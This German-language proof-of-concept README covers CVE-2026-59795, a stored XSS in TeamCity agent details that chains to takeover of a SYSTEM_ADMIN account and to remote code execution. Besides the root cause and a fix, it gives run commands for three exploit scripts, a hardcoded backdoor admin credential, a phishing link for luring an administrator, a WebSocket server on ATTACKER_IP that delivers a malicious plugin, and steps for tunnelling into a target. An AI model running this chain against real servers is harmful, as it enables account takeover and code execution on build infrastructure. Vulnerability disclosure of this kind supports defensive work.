
Proof-of-Concept für CVE-2026-59795: nicht authentifizierter gespeicherter XSS in den TeamCity-Agent-Details, verkettet mit der Erstellung eines SYSTEM_ADMIN-Kontos und RCE über Plugin-Upload.
Nicht authentifizierte gespeicherte XSS in der Legacy-Seite für Agent-Details von TeamCity, die ohne Neustart zu Server-RCE eskaliert wird. Ein Angreifer registriert einen Build-Agent (keine Anmeldedaten erforderlich) mit einem bösartigen os.name und bringt dann einen Administrator dazu, die Detailseite dieses Agents aufzurufen. Die Nutzlast läuft in der authentifizierten Sitzung des Administrators und kann ein SYSTEM_ADMIN-Konto erstellen oder ein bösartiges Plugin hochladen und laden.
| CVE | CVE-2026-59795 |
| Betroffen | TeamCity <= 2026.1.1 (Build 222577) |
| Behoben in | 2026.1.2 (222647), 2025.11.6 (208214) |
| CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N |
| Typ | Gespeicherte XSS (CWE-79), verkettbar zu SYSTEM_ADMIN-Übernahme und RCE |
| Authentifizierung erforderlich | Keine, um die Nutzlast zu platzieren |
Auslöser: Ein Administrator ruft den bösartigen Agent auf, entweder über einen mit einem Klick präparierten &fromSakuraUI=true-Link in der standardmäßigen Sakura-UI oder ganz ohne Phishing, indem er den ausstehenden Agent im normalen Autorisierungs-Workflow öffnet, wenn der Administrator die klassische UI verwendet (pro Benutzer „Use Sakura UI" deaktiviert oder serverweiter klassischer Modus).
webapps/ROOT/agent/agentSummary.jsp rendert den vom Agent gemeldeten Betriebssystemnamen ohne Escaping:
<li>Operating system: <bs:osIcon osName="${agent.operatingSystemName}"/><strong>${agent.operatingSystemName}</strong></li>
Vollständiger Write-up mit Screenshots und Hintergrund: https://joakimbulow.com/posts/cve-2026-59795/
Der Name des Schwester-Agenten wenige Zeilen darüber verwendet <c:out>, was bestätigt, dass die Auslassung versehentlich erfolgt ist. operatingSystemName ist vollständig vom Angreifer kontrollierbar: Ein nicht authentifizierter Agent setzt ihn bei der Registrierung (osName-Attribut in POST /app/agents/v1/register), und der Server speichert und gibt ihn unverändert wieder aus.
Die Sakura-React-UI maskiert osName korrekt und leitet normalerweise von der Legacy-Seite weg, aber die Weiterleitung wird übersprungen (und die unescaped JSP wird gerendert), wenn:
?fromSakuraUI=true in der URL öffnet (das eigene Bypass-Flag des Redirect-Tags), oderteamcity.ui.experimental=disableDefault oder das benutzerspezifische Opt-out „Use Sakura UI"), oderLive bestätigt:
alert(document.domain) in der Sitzung des Administrators auslösen, ohne Nebenwirkungen.SYSTEM_ADMIN-Konto in der Sitzung des Administrators erstellen (kein RCE)./admin/pluginUpload.html hoch und aktiviert es über /admin/plugins.html (EnableAllPlugins), wodurch Angreifer-Java ohne Neustart in die laufende TeamCity-JVM geladen wird. Verifiziert über eine Proof-Datei, die auf dem Server-Host geschrieben wurde, 4 Sekunden nach dem Klick des Administrators.Die Ausgabe in agentSummary.jsp escapen:
<strong><c:out value="${agent.operatingSystemName}"/></strong>
(Das Feld agent.version in der Zeile oben hat dasselbe Problem und benötigt dieselbe Korrektur.)
GET /update/buildAgent.zipjavac auf der Angreifer-Maschine, nur für den RCE-PoC erforderlichcurl -o buildAgent.zip https://teamcity.example.com/update/buildAgent.zip
unzip buildAgent.zip -d evilagent
Du musst conf/buildAgent.properties nicht manuell bearbeiten; jedes PoC unten setzt serverUrl aus seinem --url/--tc-url-Argument und schreibt den Agent-Namen pro Lauf neu, sodass es sicher ist, dasselbe entpackte evilagent/-Verzeichnis wiederholt zu verwenden.
./poc/)Führe diese in der Reihenfolge aus; jedes bestätigt mehr Auswirkung als das vorherige.
1. alert_only.py, bestätigt das XSS, ohne Nebenwirkungen. Platziert einen Agent, dessen osName alert(document.domain) auslöst. Kein Konto erstellt, kein Code ausgeführt.
python3 poc/alert_only.py --url https://teamcity.example.com --agent-dir ./evilagent
2. attacker_deeplink.py, XSS zu SYSTEM_ADMIN-Übernahme, kein RCE. Derselbe Plant, aber die Payload erstellt ein SYSTEM_ADMIN-Konto (eviladmin / Ev1l-Pass-123) und fragt so lange ab, bis sich dieses Konto anmelden kann.
python3 poc/attacker_deeplink.py --url https://teamcity.example.com --agent-dir ./evilagent
3. rce_ws_server.py, vollständige Kette, XSS zu Plugin-Upload zu RCE, einzelnes Terminal. Erstellt ein Plugin, startet den bösartigen Agenten und einen WebSocket-Server und gibt den Phishing-Link aus. Wenn der Administrator ihn ansieht: XSS wird ausgelöst, der WS-Server liefert das Plugin, es wird hochgeladen und aktiviert, und TeamCity lädt es zur Laufzeit.
python3 poc/rce_ws_server.py --lhost ATTACKER_IP --lport 1337 \
--tc-url https://teamcity.example.com --agent-dir ./evilagent
Jede PoC gibt einen Link aus wie:
https://teamcity.example.com/agentDetails.html?id=N&fromSakuraUI=true
Sende das an den Administrator (Sakura-UI, ein Klick), oder, falls der Administrator bereits die klassische UI verwendet, verweise ihn einfach auf agentDetails.html?id=N ohne speziellen Parameter, z. B. über den normalen Ablauf zur Überprüfung ausstehender Agents.
Innerhalb weniger Sekunden nach dem Klick des Administrators auf dem TeamCity-Server-Host:
cat /tmp/pwned-tc-xss-rce.txt
=== TeamCity XSS->RCE chain confirmed ===
user: <tc-process-user>
host: <hostname>
java: <java-version>
cwd: <teamcity-bin-dir>
time: <timestamp>
Wenn der Browser des Administrators Ihre Angreifer-Maschine nicht direkt erreichen kann, zum Beispiel weil Sie nur über einen SSH-Tunnel in das Ziel erreichbar sind, verwenden Sie rce_prepare.py, um das Plugin und den Agenten auf Ihrer Maschine zu erstellen, und übertragen Sie dann poc/ws_serve.py und die erstellte Plugin-ZIP auf den TeamCity-Host und stellen Sie sie von dort bereit:
# on the attacker machine
python3 poc/rce_prepare.py --tc-url http://localhost:8111 --agent-dir ./evilagent \
--ws-host localhost --ws-port 1337 --plugin-out /tmp/evil-plugin.zip
# transfer poc/ws_serve.py and /tmp/evil-plugin.zip to the TeamCity host, then there:
python3 ws_serve.py evil-plugin.zip 1337
Leiten Sie den WebSocket-Port durch denselben Tunnel weiter, der auch für den Zugriff auf TeamCity verwendet wird (-L 1337:localhost:1337), damit der Browser des Administrators ihn als ws://localhost:1337 erreichen kann.
Hinweis zur Bereinigung: Bei jedem Lauf wird ein neu benannter Agent registriert, sodass wiederholte Läufe nicht kollidieren, aber jeder Lauf hinterlässt einen neuen nicht autorisierten Agenten. Entfernen Sie diese nach dem Testen unter Agents -> Unauthorized.